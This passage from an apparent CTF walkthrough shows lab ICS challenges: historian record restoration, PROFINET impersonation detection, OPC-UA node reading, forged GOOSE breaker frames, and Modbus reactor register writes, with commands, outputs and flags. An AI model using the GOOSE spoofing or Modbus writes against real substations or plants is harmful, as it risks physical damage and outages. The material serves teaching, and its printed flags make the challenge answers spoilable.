  --data 'ch=trojan&seq=53&value=742'

What this command does:

  • -i displays the HTTP response.
  • -b cookies.txt sends the authenticated session cookie.
  • -c cookies.txt saves any updated cookies.
  • -X POST submits the restoration request.
  • ch=trojan selects the Trojan Historian challenge.
  • seq=53 identifies the missing record.
  • value=742 provides the original measurement.

4.2 Wait for the stability timer

After submitting the correct record, the challenge requires it to remain stable for approximately 10 seconds.

Run:

sleep 12

Do not submit any other values during this period.

4.3 Confirm the restoration

After waiting, submit the same values again:

Go to webpage and Submit

or

curl -i -b cookies.txt -c cookies.txt -X POST http://10.0.1.1/submit \
  --data 'ch=trojan&seq=53&value=742'
Show result and explanation

The challenge requires the restored record to remain stable for approximately 10 seconds.

The first correct submission starts the stability timer.

The second submission, after waiting, checks whether the restoration has remained stable long enough for the challenge to be completed.

Important: A wrong sequence number or value can re-corrupt the record and reset the timer.

The expected completion flag from the challenge description is:

wired{tr0jan_h1st_r3st0r3d}

The actual flag should be recorded only after it is returned by the challenge server.


What We Learned

  1. Historian data integrity: Process historians store measurements collected from industrial equipment.

  2. Anti-forensics: Attackers may delete historical records to hide suspicious activity.

  3. Backup comparison: Comparing live data against a retained backup helps identify deleted records.

  4. Sequence numbers: Sequence numbers help identify missing samples in a trend.

  5. False gaps: Communication outages can also create missing samples, so not every gap indicates an attack.

  6. Data restoration: Recovering the original value from a backup allows the missing record to be restored.

  7. Stability verification: A successful restoration must remain stable long enough for the system to accept it.


Final Answer

Item Result
Compromised historian HIST-04
Affected tag TURBINE.VIB
Deleted sequence 53
Recovered value 742
Record quality Good
Restoration endpoint /submit
Stability requirement Approximately 10 seconds
Expected flag wired{tr0jan_h1st_r3st0r3d}
04

Device Takeover

Easy

Points: 100

Protocol: PROFINET DCP
Layer: Ethernet (no IP address or port required for DCP discovery)
Capture File: dcp_capture.txt
Tools: Linux terminal, grep, Asset Inventory


The Story

IT Security captured network traffic from an industrial network.

While checking the traffic, they noticed something suspicious: two different devices were claiming to be the same PLC.

One device is the real PLC. The other device may be an attacker pretending to be the PLC.

Your job is to:

  1. Find the real devices and their MAC addresses.
  2. Find the device pretending to be the PLC.
  3. Check the Asset Inventory and MAC vendor information.
  4. Identify the attacker's MAC address.
  5. Submit the MAC address.

About the Protocol — PROFINET DCP

PROFINET is a communication protocol used in industrial networks. It allows devices such as PLCs and other controllers to discover and identify each other.

DCP stands for Discovery and Configuration Protocol.

It helps devices find each other and exchange information such as:

  • Device name.
  • IP address.
  • Network configuration.

Two important DCP messages used in this challenge are:

Message Meaning
Identify Asks devices to identify themselves.
Hello Announces a device's identity on the network.

We will also look at ARP messages.

ARP helps devices find which MAC address belongs to an IP address.

A MAC address identifies a network interface, while an IP address identifies its network address.


Step 1 — Find the Real Devices

First, we need to find which devices are actually registered on the network.

We will use the DCP Identify responses from the capture.

Command

grep -A2 "Identify (5) / Response" dcp_capture.txt

What does this command do?

  • grep searches for text inside a file.
  • -A2 displays the matching line and the next two lines.
  • "Identify (5) / Response" searches for PROFINET Identify responses.
  • dcp_capture.txt is the captured network traffic file.

In simple words:

"Find all the devices that replied when the network asked them to identify themselves."

Show result and explanation

Actual Result

PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1
--
PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "rtu-02"
    Block: IP/IPParameter   IP: 10.0.1.22, Subnet: 255.255.255.0, Gateway: 10.0.1.1
--
PROFINET DCP, ServiceID: Identify (5) / Response Success
    Block: Device/NameOfStation   "hist-04"
    Block: IP/IPParameter   IP: 10.0.1.24, Subnet: 255.255.255.0, Gateway: 10.0.1.1

What does the result tell us?

We found three devices:

Device Name IP Address
plc-01 10.0.1.21
rtu-02 10.0.1.22
hist-04 10.0.1.24

These are the devices that replied to the Identify request.

We now have a list of legitimate device names and IP addresses to compare against the suspicious traffic.


Step 2 — Find the Device Pretending to Be the PLC

Now we need to find out whether another device is claiming the identity of plc-01.

We will search for two types of messages:

  • Gratuitous ARP messages.
  • PROFINET Hello messages.

What is Gratuitous ARP?

A Gratuitous ARP is a message in which a device announces its own IP and MAC address to the network.

For example:

IP: 10.0.1.21
MAC: 0a:77:88:00:00:aa

This device is announcing that IP address 10.0.1.21 belongs to its MAC address.

If another device already owns that IP, this is suspicious.

Command

grep -B1 -A3 "gratuitous\|Hello (6)" dcp_capture.txt

What does this command do?

  • grep searches the capture file.
  • -B1 displays one line before a match.
  • -A3 displays three lines after a match.
  • gratuitous searches for Gratuitous ARP messages.
  • \| means OR in this grep expression.
  • Hello (6) searches for PROFINET Hello messages.
  • dcp_capture.txt is our capture file.

In simple words:

"Find all the suspicious ARP announcements and PROFINET Hello messages."

Show result and explanation

Actual Result

Ethernet II, Src: 0a:77:88:00:00:aa, Dst: ff:ff:ff:ff:ff:ff
Address Resolution Protocol (gratuitous)
    Sender MAC: 0a:77:88:00:00:aa   Sender IP: 10.0.1.21
    Target  IP: 10.0.1.21

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "plc-01"
    Block: IP/IPParameter   IP: 10.0.1.21, Subnet: 255.255.255.0, Gateway: 10.0.1.1

--
PROFINET acyclic Real-Time, DCP
PROFINET DCP, ServiceID: Hello (6) / Request
    Block: Device/NameOfStation   "rtu-02"
    Block: IP/IPParameter   IP: 10.0.1.22, Subnet: 255.255.255.0, Gateway: 10.0.1.1

What does the result tell us?

Look at the first message:

Sender MAC: 0a:77:88:00:00:aa
Sender IP: 10.0.1.21

A new MAC address is announcing that it owns the IP address 10.0.1.21.

But remember Step 1?

That IP address belongs to:

plc-01

We also found a PROFINET Hello message claiming:

NameOfStation: plc-01
IP: 10.0.1.21

The suspicious MAC is:

0a:77:88:00:00:aa

The capture also contains another Hello message claiming the same PLC identity.

This means two devices are claiming to be plc-01.

We have found a possible device takeover!

Next, we need to confirm which MAC address is actually the impostor.


Step 3 — Check the Asset Inventory and MAC Vendor

Finding two devices with the same identity is suspicious, but we need more evidence before identifying the attacker.

We will check two things:

  1. Is the MAC address registered in the Asset Inventory?
  2. Does its MAC vendor prefix match the known devices?

What is a MAC address?

A MAC address is a unique identifier assigned to a network interface.

Example:

0a:11:22:00:00:21

The first three bytes are commonly used to identify the vendor.

This part is called the OUI (Organizationally Unique Identifier).

For example:

0a:11:22:xx:xx:xx

Here, 0a:11:22 is the prefix we compare with the other devices.

What should you do?

Open the Asset Inventory tab in the application.

Search for both MAC addresses:

0a:11:22:00:00:21
0a:77:88:00:00:aa

Then compare their vendor prefixes.

Show result and explanation

Actual Result

Asset Inventory lookup

0a:11:22:00:00:21  -> listed, "plc-01"
0a:77:88:00:00:aa  -> NOT in inventory

OUI comparison

0a:11:22:xx:xx:xx  -> matches the known vendor prefix used by registered devices in this cell

0a:77:88:xx:xx:xx  -> different vendor prefix, not used by any registered asset

What does the result tell us?

The first MAC address is registered in the Asset Inventory as plc-01.

The second MAC address is not registered at all.

It also has a different vendor prefix from the known devices in this network.

We now have two warning signs:

  • The MAC address is missing from the Asset Inventory.
  • Its vendor prefix does not match the registered devices.

This confirms that:

0a:77:88:00:00:aa

is the impostor MAC address in this challenge.


Step 4 — Submit the Finding

We have completed the investigation.

We found that two devices were claiming the identity of plc-01.

The real device is registered in the Asset Inventory, while the suspicious device is not.

The challenge asks us to submit the impostor's MAC address.

Submit this value

mac: 0a:77:88:00:00:aa
Show result and explanation

Final Finding

0a:77:88:00:00:aa

This is the MAC address of the device impersonating plc-01.

Challenge completed!


What You Learned

  1. PROFINET DCP: How industrial devices discover and identify each other.
  2. Identify messages: How to find device names and IP addresses from network traffic.
  3. Hello messages: How devices announce their identity.
  4. Gratuitous ARP: How devices announce their IP and MAC addresses.
  5. MAC addresses: How to identify network interfaces.
  6. Asset Inventory: How to check whether a device belongs to the network.
  7. OUI: How MAC vendor prefixes can help identify suspicious devices.

Main Lesson

An attacker can try to impersonate a real industrial device by using its name and IP address.

In this challenge, a second device claimed to be plc-01.

By checking the network traffic, Asset Inventory, and MAC vendor prefix, we identified the suspicious device.

The important lesson is that we should never trust a device just because it uses a familiar name or IP address. Always verify its MAC address and check whether it belongs to the registered assets.

05

OPC Scout

Medium

Points: 150

Protocol: OPC-UA-lite (custom, non-standard) · Port: 9005 · Toolkit module: None — custom Python client required


The Story

Imagine a plant monitoring system that stores information in a folder-like structure. Each item has a unique address called a NodeId.

After a system reconfiguration, one node was removed from the folder tree. However, the node still exists and can be read if we know its address.

In this challenge, you'll explore the server, find a diagnostic message that reveals the missing node's address, and read that node directly.

Your mission: Find the orphaned node and retrieve its hidden flag.

About the Protocol — OPC-UA-lite

OPC UA is a communication protocol used by industrial systems to exchange information between devices and software.

This challenge uses OPC-UA-lite, a custom, simplified protocol. It is not a standard OPC UA server, so normal clients such as UA Expert and python-opcua will not complete the handshake.

The protocol supports three main operations:

  • HELLO: Starts communication with the server.
  • BROWSE: Lists the children of a node.
  • READ: Retrieves a node's value.

Think of browsing as opening folders and reading as opening an individual file. A NodeId is the address used to identify a particular node.


Step 1: Connect to the Server

Hint

The server expects a one-byte HELLO message. Send it first and check the response before browsing the node tree.

Show command

import socket

HOST, PORT = "10.0.1.1", 9005
sock = socket.create_connection((HOST, PORT), timeout=5)

sock.sendall(b"\x01")  # HELLO
print("HELLO:", sock.recv(64))

What the code does

  • import socket — Loads Python's socket library, which allows us to communicate over a network.
  • HOST, PORT = "10.0.1.1", 9005 — Defines the target server's IP address and port.
  • socket.create_connection(...) — Connects to the server. The connection attempt times out after five seconds if it cannot be established.
  • sock.sendall(b"\x01") — Sends the one-byte HELLO request (0x01) to the server.
  • sock.recv(64) — Receives up to 64 bytes from the server.
  • print(...) — Displays the server's response.
Show result and explanation

Result:

HELLO: b'\x81\x11Sysrupt-OPCUA/1.0'

What does it mean?

The server responded with its identifier, Sysrupt-OPCUA/1.0.

This confirms that the connection worked and the server responded to the HELLO request.

Step 2: Browse the Root Node

Hint

A BROWSE request uses opcode 0x02, followed by the two-byte NodeId. The Root node has NodeId 0x0000.

The response contains a status byte, a child count, and each child's NodeId and name.

Show command

def browse(sock, node_id):
    sock.sendall(bytes([0x02, (node_id >> 8) & 0xff, node_id & 0xff]))
    return sock.recv(1024)

def decode_browse(response):
    status, count = response[1], response[2]
    children, offset = [], 3

    for _ in range(count):
        node_id = (response[offset] << 8) | response[offset + 1]
        name_len = response[offset + 2]
        name = response[offset + 3:offset + 3 + name_len].decode(
            "utf-8", "replace"
        )

        children.append((node_id, name))
        offset += 3 + name_len

    return status, children

status, root_children = decode_browse(browse(sock, 0x0000))
print("ROOT children:", root_children)

What the code does

Part 1: Send a BROWSE request

  • def browse(sock, node_id): — Defines a function that requests the children of a specified node.
  • 0x02 — The opcode that tells the server we want to browse a node.
  • (node_id >> 8) & 0xff — Extracts the higher eight bits of the NodeId.
  • node_id & 0xff — Extracts the lower eight bits of the NodeId.
  • bytes([...]) — Combines the opcode and two NodeId bytes into the request.
  • sock.sendall(...) — Sends the request to the server.
  • sock.recv(1024) — Receives the server's response, up to 1024 bytes.

Part 2: Decode the response

  • response[1] — Reads the status byte.
  • response[2] — Reads the number of children returned by the server.
  • children, offset = [], 3 — Creates an empty list and sets the starting position of the child data.
  • for _ in range(count): — Loops through each child in the response.
  • (response[offset] << 8) | response[offset + 1] — Combines two bytes into the child's NodeId.
  • response[offset + 2] — Reads the length of the child's name.
  • .decode("utf-8", "replace") — Converts the name's bytes into readable text.
  • children.append((node_id, name)) — Stores the child's NodeId and name.
  • offset += 3 + name_len — Moves to the next child in the response.
  • return status, children — Returns the status and decoded child list.

Part 3: Browse the Root

  • browse(sock, 0x0000) — Requests the children of the Root node.
  • decode_browse(...) — Converts the raw response into readable NodeIds and names.
  • print(...) — Displays the children.

We start at Root because we need to discover which nodes are available before exploring the server.

Show result and explanation

Result:

ROOT children: [(256, 'Objects'), (512, 'Server')]

What does it mean?

The Root node has two children:

NodeId Name
256 (0x0100) Objects
512 (0x0200) Server

We found the Server node, so we can explore its children next.

Step 3: Find Server → Diagnostics

Hint

Find Server among Root's children and browse it. Look for the Diagnostics node in the response.

Show command

server_id = next(
    nid for nid, name in root_children if name == "Server"
)

status, server_children = decode_browse(browse(sock, server_id))
print("SERVER children:", server_children)

diag_id = next(
    nid for nid, name in server_children if name == "Diagnostics"
)

What the code does

  • next(...) — Finds the first matching item in an iterable.
  • for nid, name in root_children — Examines each NodeId and name discovered in Step 2.
  • if name == "Server" — Selects the entry named Server.
  • server_id — Stores the NodeId of the Server node.
  • browse(sock, server_id) — Requests the children of the Server node.
  • decode_browse(...) — Decodes the response into readable NodeIds and names.
  • print(...) — Displays the Server node's children.
  • The second next(...) searches those children for the name Diagnostics.
  • diag_id stores the Diagnostics node's NodeId for use in the next step.

We need the Diagnostics node because its message contains information about the orphaned node.

Show result and explanation

Result:

SERVER children: [(513, 'ServerStatus'), (514, 'Diagnostics')]

What does it mean?

The Server node has two children:

  • ServerStatus — NodeId 513 (0x0201).
  • Diagnostics — NodeId 514 (0x0202).

We now know the address of the Diagnostics node. Its message may reveal information about the missing node.

Step 4: Read Diagnostics and Find the Orphaned NodeId

Hint

A READ request uses opcode 0x03, followed by the two-byte NodeId.

Read the Diagnostics node and look for a hexadecimal address such as i=0x5000.

Show command

import re

def read(sock, node_id):
    sock.sendall(bytes([0x03, (node_id >> 8) & 0xff, node_id & 0xff]))
    return sock.recv(1024)

def decode_read(response):
    status, length = response[1], response[2]
    value = response[3:3 + length]
    return status, value

status, diag_value = decode_read(read(sock, diag_id))
diag_text = diag_value.decode("utf-8", "replace")
print("DIAGNOSTICS:", diag_text)

m = re.search(r"i=0x([0-9a-fA-F]+)", diag_text)
orphan_id = int(m.group(1), 16)

print(f"Orphaned NodeId: 0x{orphan_id:04x}")

What the code does

Part 1: Read a node

  • import re — Loads Python's regular expression library, which helps search text for a pattern.
  • def read(sock, node_id): — Defines a function to request a node's value.
  • 0x03 — The opcode for a READ request.
  • The next two bytes encode the requested NodeId.
  • sock.sendall(...) — Sends the READ request.
  • sock.recv(1024) — Receives the response.

Part 2: Decode the response

  • response[1] — Reads the status byte.
  • response[2] — Reads the length of the returned value.
  • response[3:3 + length] — Extracts the value bytes from the response.
  • return status, value — Returns the status and extracted value.

Part 3: Read Diagnostics

  • read(sock, diag_id) — Requests the Diagnostics node's value.
  • decode_read(...) — Extracts the returned value.
  • .decode("utf-8", "replace") — Converts the bytes into readable text.
  • print(...) — Displays the diagnostic message.

Part 4: Extract the orphaned NodeId

  • re.search(r"i=0x([0-9a-fA-F]+)", diag_text) — Searches the message for a hexadecimal address beginning with i=0x.
  • m.group(1) — Extracts the hexadecimal digits without the i=0x prefix.
  • int(m.group(1), 16) — Converts the hexadecimal string into an integer.
  • f"Orphaned NodeId: 0x{orphan_id:04x}" — Prints the NodeId in hexadecimal, padded to at least four digits.

This step identifies the address we need to access the orphaned node directly.

Show result and explanation

Result:

DIAGNOSTICS: WARN orphan node i=0x5000 unlinked from Objects
Orphaned NodeId: 0x5000

What does it mean?

The diagnostic message tells us that NodeId 0x5000 was unlinked from the Objects tree.

The Python code extracts the hexadecimal address from the message.

We have discovered the orphaned node's address: 0x5000.

Step 5: Read the Orphaned Node

Hint

The node is no longer linked into the Objects tree, but you now know its NodeId. Use the READ function to request its value directly.

Show command

status, flag_value = decode_read(read(sock, orphan_id))
print("FLAG:", flag_value.decode("utf-8", "replace"))

What the code does

  • read(sock, orphan_id) — Sends a READ request for the orphaned node discovered in Step 4.
  • decode_read(...) — Extracts the node's value from the server's response.
  • status, flag_value = ... — Stores the response status and the returned value.
  • flag_value.decode("utf-8", "replace") — Converts the returned bytes into readable text.
  • print("FLAG:", ...) — Displays the retrieved value.

Instead of browsing through the tree, we use the discovered NodeId to request the node directly.

Show result and explanation

Result:

FLAG: wired{0pcu4_h1dd3n_n0d3_r3ad}

What does it mean?

Success! The server returned the flag stored at NodeId 0x5000.

You accessed the node directly using its address, even though it was no longer reachable through the normal Objects tree.

Flag: wired{0pcu4_h1dd3n_n0d3_r3ad}


What You Learned

  • How to connect to a custom industrial protocol.
  • How to send HELLO, BROWSE, and READ requests.
  • How to decode a server response into readable data.
  • How to find a NodeId by examining a diagnostic message.
  • How to use Python's regular expressions to extract an address.
  • How to read a node that is missing from the normal tree.

The key lesson: Removing a node from a folder does not necessarily make its data inaccessible. If the node still exists and the server permits direct reads, knowing its NodeId may be enough to access it.

Diagnostic messages that expose internal node addresses can make hidden data easier to discover.

06

Second Blackout

Expert

Points: 300

Protocol: GOOSE training stream · Port: 6180/udp · Toolkit module: goose


The Story

Imagine an electrical substation where a breaker controls the flow of electricity. A monitoring system uses GOOSE messages to share the breaker's state with other devices.

In this challenge, you'll listen to these messages and learn how the system identifies new information. Then, you'll use the SYSRUPT toolkit to send a frame that the training subscriber accepts as a newer state.

Your mission: Capture the GOOSE traffic, understand its sequence numbers, send a frame that changes the reported breaker state, and retrieve the flag.

The breaker sends messages to tell other devices whether it is OPEN or CLOSED.

Your job is to: 1. Listen to the messages. 2. Understand how the messages work. 3. Send a fake message saying the breaker is OPEN. 4. Make the receiver accept your fake message.

Goal: S

What You Know

  • Target: 10.0.1.1:6180 using UDP.
  • The toolkit listens for incoming GOOSE training messages rather than actively probing the port.
  • APPID identifies the application or message stream.
  • confRev identifies the configuration revision.
  • stNum identifies the current state and changes when that state changes.
  • sqNum increases when the same state is retransmitted.
  • The sysrupt sequence command runs multiple commands in order, with optional delays between them.

About the Protocol — GOOSE

GOOSE stands for Generic Object Oriented Substation Event. It is used in electrical substations to share important status information, such as breaker states.

GOOSE messages can be repeated so that receiving devices continue to receive the latest state.

Two important fields are:

  • stNum (State Number): Changes when the published state changes.
  • sqNum (Sequence Number): Increases when the same state is retransmitted.

Think of stNum as the version of the current state and sqNum as the number of times that state has been repeated.


Step 1: Listen and Capture the Real Traffic

Hint

Don't guess APPID, confRev, or the current stNum and sqNum. Listen to the live traffic and read the values from the captured frames.

Show command

./bin/sysrupt goose sniff --seconds 5

What the command does

  • ./bin/sysrupt runs the SYSRUPT toolkit.
  • goose selects the GOOSE module.
  • sniff listens for incoming GOOSE training messages.
  • --seconds 5 tells the toolkit to listen for five seconds.

The output shows the frames received during that period, including their application ID, state number, sequence number, configuration revision, and breaker state.

Show result and explanation

Result:

Operation:            GOOSE sniff (passive)
Target:               10.0.1.1:6180
Request:              listen 5s on UDP 6180
Protocol response:    3 frame(s) captured
Verification:         Protocol acknowledgement received
Elapsed:              5000.8 ms
frames:
  47 53 01 00 0b b8 00 00 00 01 00 00 02 92 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=658 confRev=1 flags=0x00 (breaker_open=False, test=False)
  47 53 01 00 0b b8 00 00 00 01 00 00 02 93 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=659 confRev=1 flags=0x00 (breaker_open=False, test=False)
  47 53 01 00 0b b8 00 00 00 01 00 00 02 95 00 01  ::  APPID=0x0bb8 stNum=1 sqNum=661 confRev=1 flags=0x00 (breaker_open=False, test=False)

What does it mean?

The toolkit captured three GOOSE frames.

The important values are:

Field Captured value Meaning
APPID 0x0bb8 Identifies the message stream.
stNum 1 The published state number is 1.
sqNum 658, 659, 661 The sequence numbers change as messages are repeated.
confRev 1 The configuration revision is 1.
breaker_open False The captured messages report that the breaker is closed.

We now know the stream's application ID, configuration revision, and current reported state.

Step 2: Send a Frame with a New State Number

Hint

The receiver checks whether a message represents a newer state.

If the observed stNum is 1, the next state number would be 2. In this challenge, the supplied example uses 6 as the state number, and the toolkit accepts that frame.

Show command

./bin/sysrupt goose send --appid 0x0BB8 --stnum 6 \
  --confrev 1 --sqnum 0 --open

What the command does

  • goose send constructs and sends a GOOSE training frame.
  • --appid 0x0BB8 specifies the application ID observed in the capture.
  • --stnum 6 sets the state number in the outgoing frame.
  • --confrev 1 specifies the configuration revision.
  • --sqnum 0 sets the sequence number to zero for the new state.
  • --open sets the breaker's reported state to open.

The example uses state number 6, but the important lesson is to understand how the receiver evaluates state numbers rather than blindly copying an example.

Show result and explanation

Result:

Operation:            GOOSE send
Target:               10.0.1.1:6180
Request:              47 53 01 01 0b b8 00 00 00 06 00 00 00 00 00 01  ::  APPID=0x0bb8 stNum=6 sqNum=0 confRev=1 flags=0x01 (breaker_open=True, test=False)
Protocol response:    ACCEPTED breaker=OPEN wired{g00se_r3play_bl4ck0ut}
Verification:         Protocol acknowledgement received
Elapsed:              7.5 ms
Note:                 frame acknowledged; no flag in reply

What does it mean?

The training subscriber accepted the frame and reported the breaker as open.

The response also revealed the challenge flag:

Flag: wired{g00se_r3play_bl4ck0ut}

This confirms that the single-frame command was enough to solve the challenge in your run. The sequence file in the next step demonstrates how to send multiple frames in order.

Step 3: Create a Sequence to Repeat the State

Hint

Sometimes a single message is not enough to maintain a state. A sequence file lets you run several commands in order, with delays between them.

For repeated messages representing the same state, keep stNum the same and increase sqNum.

Show command

Create a file named goose-sustain.seq.json:

{
  "name": "goose-sustain",
  "description": "Repeated sends to maintain the reported state",
  "steps": [
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open"
    },
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open",
      "delay_before_ms": 300
    },
    {
      "command": "goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open",
      "delay_before_ms": 300
    }
  ]
}

Validate the sequence:

./bin/sysrupt sequence validate goose-sustain.seq.json

Run it:

./bin/sysrupt sequence run goose-sustain.seq.json

What the commands do

Part 1: Create the sequence file

  • "name" gives the sequence a name.
  • "description" explains what the sequence is intended to do.
  • "steps" contains the commands to run, in order.
  • "command" specifies a command for the toolkit to execute.
  • "delay_before_ms": 300 tells the sequence runner to wait 300 milliseconds before executing that step.

Part 2: Validate the sequence

./bin/sysrupt sequence validate goose-sustain.seq.json

This checks the sequence file and displays the commands that would run. Validation checks the sequence configuration; it does not execute the commands.

Part 3: Run the sequence

./bin/sysrupt sequence run goose-sustain.seq.json

This executes the commands in order and reports whether each step ran successfully.

In the example, all three frames use stNum 6, while their sqNum values are 0, 1, and 2.

Show result and explanation

Result:

Sequence 'goose-sustain' -- repeated sends to hold forged stNum/sqnum
3 step(s):
  [1] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open
  [2] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open   (wait 300ms before)
  [3] goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open   (wait 300ms before)
(validation only -- nothing executed)
  [1] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open  (9.1 ms)
  [2] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open  (7.5 ms)
  [3] OK  goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open  (7.1 ms)
Sequence: goose-sustain  (3 steps, 624.2 ms total)
  [1] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 0 --open  (9.1 ms)  -> Request sent (no positive response)
  [2] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 1 --open  (7.5 ms)  -> Request sent (no positive response)
  [3] OK    goose send --appid 0x0BB8 --stnum 6 --confrev 1 --sqnum 2 --open  (7.1 ms)  -> Request sent (no positive response)
Result: ALL STEPS OK

What does it mean?

The sequence file passed validation, and the toolkit executed all three commands.

ALL STEPS OK means the sequence runner completed the commands successfully. It does not necessarily mean that each command received a positive response from the subscriber.

In your run, the flag had already been returned by the single-frame command in Step 2.


What You Learned

  • How to capture and read GOOSE training traffic.
  • What APPID, confRev, stNum, and sqNum represent.
  • How the state number differs from the sequence number.
  • How to send a GOOSE training frame using the SYSRUPT toolkit.
  • How to create, validate, and run a sequence file.
  • Why successful command execution and successful protocol acknowledgment are not always the same thing.

The key lesson: GOOSE receivers use state and sequence information to decide whether a message is fresh. Understanding these fields helps explain how industrial devices process changing states and repeated messages.

07

Stabilise the Reactor

Expert

Points: 300

Protocol: Modbus/TCP · Port: 502/tcp · Toolkit module: modbus


The Story

The reactor's control system is no longer operating within its safe limits. Its temperature, pressure, and neutron flux need to be brought back under control.

The reactor has control inputs such as control rods, a cooling pump, and a pressure valve. These control how the reactor behaves, while sensors continuously measure its condition.

Your mission is to identify the control registers and sensor registers, adjust the reactor controls, and bring all three sensor readings into their safe ranges.

Getting the readings into the safe range once is not enough. You must keep the reactor stable long enough for the system to recognize the recovery.


What Is Happening?

Before starting, understand these three important measurements:

Measurement Meaning
Neutron Flux Indicates the level of nuclear activity inside the reactor.
Core Temperature Measures how hot the reactor core is.
Pressure Measures the pressure inside the reactor system.

We have three control inputs:

Control Purpose
Control Rod Controls neutron activity.
Water-Flow Pump Controls how much cooling water flows through the reactor.
Pressure Valve Controls the pressure behavior.

The system also provides a SAFE_BAND register.

This register tells us whether each sensor is within its safe range:

  • Bit 0 = Temperature safe
  • Bit 1 = Pressure safe
  • Bit 2 = Neutron flux safe

When all three are safe, the register becomes 7.


Step 1: Connect to the Target and Identify the Registers

What are we doing?

First, we connect to the reactor's Modbus service and inspect the available registers.

Modbus uses registers to store information. Some registers contain sensor readings, while others control equipment.

We need to understand which registers contain which information before making changes.

Hint

Use the toolkit help command to understand the available Modbus operations.

Then read the first 16 input registers to see the current reactor readings.

Commands

./bin/sysrupt target set 10.0.1.1
./bin/sysrupt status
./bin/sysrupt help modbus
./bin/sysrupt modbus read-input 0 16

What each command does:

  • target set selects the reactor's IP address.
  • status checks which services are reachable.
  • help modbus displays available Modbus commands.
  • read-input 0 16 reads 16 input registers starting from address 0.
Show result and explanation

Target configuration:

Target set to 10.0.1.1
Target: 10.0.1.1

web         tcp/80     reachable
modbus      tcp/502    reachable
opcua       tcp/9005   reachable
goose       udp/6180   (UDP; passive sniff -- not probed)
historian   tcp/9000   no response

The important result is:

modbus tcp/502 reachable

This confirms that the Modbus service is available.

Initial register readings:

Operation:            Modbus read-input
Target:               10.0.1.1:502
Request:              read-input addr=0 count=16
Protocol response:    [820, 2940, 679, 180, 400, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
Verification:         Protocol acknowledgement received

The first six values are important:

Register Initial value Meaning
0 820 Neutron flux
1 2940 Core temperature
2 679 Pressure
3 180 Additional input
4 400 Additional input
5 3 SAFE_BAND status

The initial SAFE_BAND value is 3, meaning temperature and pressure are safe, but neutron flux is not.

Note: The temperature value is represented in tenths of a degree Celsius. Therefore, 2940 represents 294.0°C.


Step 2: Check the SAFE_BAND Register

What are we doing?

Instead of checking every sensor separately, we can use the SAFE_BAND register to understand which conditions are safe.

It works like three switches:

Bit Sensor Value 1 means
Bit 0 Temperature Safe
Bit 1 Pressure Safe
Bit 2 Neutron flux Safe

When all three switches are ON, the value becomes:

1 + 2 + 4 = 7

Our target is therefore 7.

Command

./bin/sysrupt modbus read-input 5 1
Show result and explanation

Actual output:

Operation:            Modbus read-input
Target:               10.0.1.1:502
Request:              read-input addr=5 count=1
Protocol response:    [0]
Verification:         Protocol acknowledgement received

The first reading returned 0.

This means none of the three conditions was reported safe at that point.

The later sensor readings and status checks will help us track the recovery.


Step 3: Adjust the Reactor Controls

What are we doing?

Now we need to change the reactor's control inputs.

Remember the difference:

  • Input registers: Give us information from sensors. We read these.
  • Holding registers: Control equipment. We write values to these.

The challenge provides three holding registers:

Holding Register Equipment
0 Control rod
1 Water-flow pump
2 Pressure valve

We will adjust all three controls using the values provided by the challenge.

Commands

./bin/sysrupt modbus write 0 475
./bin/sysrupt modbus write 2 0
./bin/sysrupt modbus write 1 486

What are we doing with each value?

1. Control rod — Register 0

./bin/sysrupt modbus write 0 475

We set the control rod to 475 to bring neutron flux towards its safe range.

The challenge specifies that the target flux range is 300–650.

2. Pressure valve — Register 2

./bin/sysrupt modbus write 2 0

We set the pressure valve to 0 so that pressure follows the intended temperature relationship.

3. Water-flow pump — Register 1

./bin/sysrupt modbus write 1 486

We set the water-flow pump to 486 to balance the heat inside the reactor.

The challenge provides this balancing relationship:

240 × flux = 210 × flow + 12000

Check the sensor readings

After changing the controls, read the first six input registers:

./bin/sysrupt modbus read-input 0 6
Show result and explanation

Actual output:

Operation:            Modbus write-holding
Request:              write HR0 := 475
Protocol response:    echo (write acknowledged)

Operation:            Modbus write-holding
Request:              write HR2 := 0
Protocol response:    echo (write acknowledged)

Operation:            Modbus write-holding
Request:              write HR1 := 486
Protocol response:    echo (write acknowledged)

Operation:            Modbus read-input
Request:              read-input addr=0 count=6
Protocol response:    [652, 3209, 773, 218, 400, 3]

The updated sensor readings are:

Register Initial value Updated value
Neutron flux 820 652
Core temperature 2940 3209
Pressure 679 773
SAFE_BAND 3 3

The control writes were acknowledged, but the SAFE_BAND value was still 3.

This is important: a successful write does not automatically mean the reactor has reached a safe condition.

We must keep checking the actual sensor and status registers.


Step 4: Keep the Reactor Stable

What are we doing?

The challenge does not accept a temporary safe reading. The reactor must remain stable.

We can use a Bash loop to repeatedly apply the water-flow setting and check the SAFE_BAND register.

The loop performs three actions:

  1. Applies the water-flow value.
  2. Checks whether SAFE_BAND has reached 7.
  3. Waits one second and repeats.

Command

while true; do
  ./bin/sysrupt modbus write 1 486
  ./bin/sysrupt modbus read-input 5 1
  sleep 1
done

Understanding the loop:

Command What it does
while true Keeps the loop running.
write 1 486 Applies the water-flow setting again.
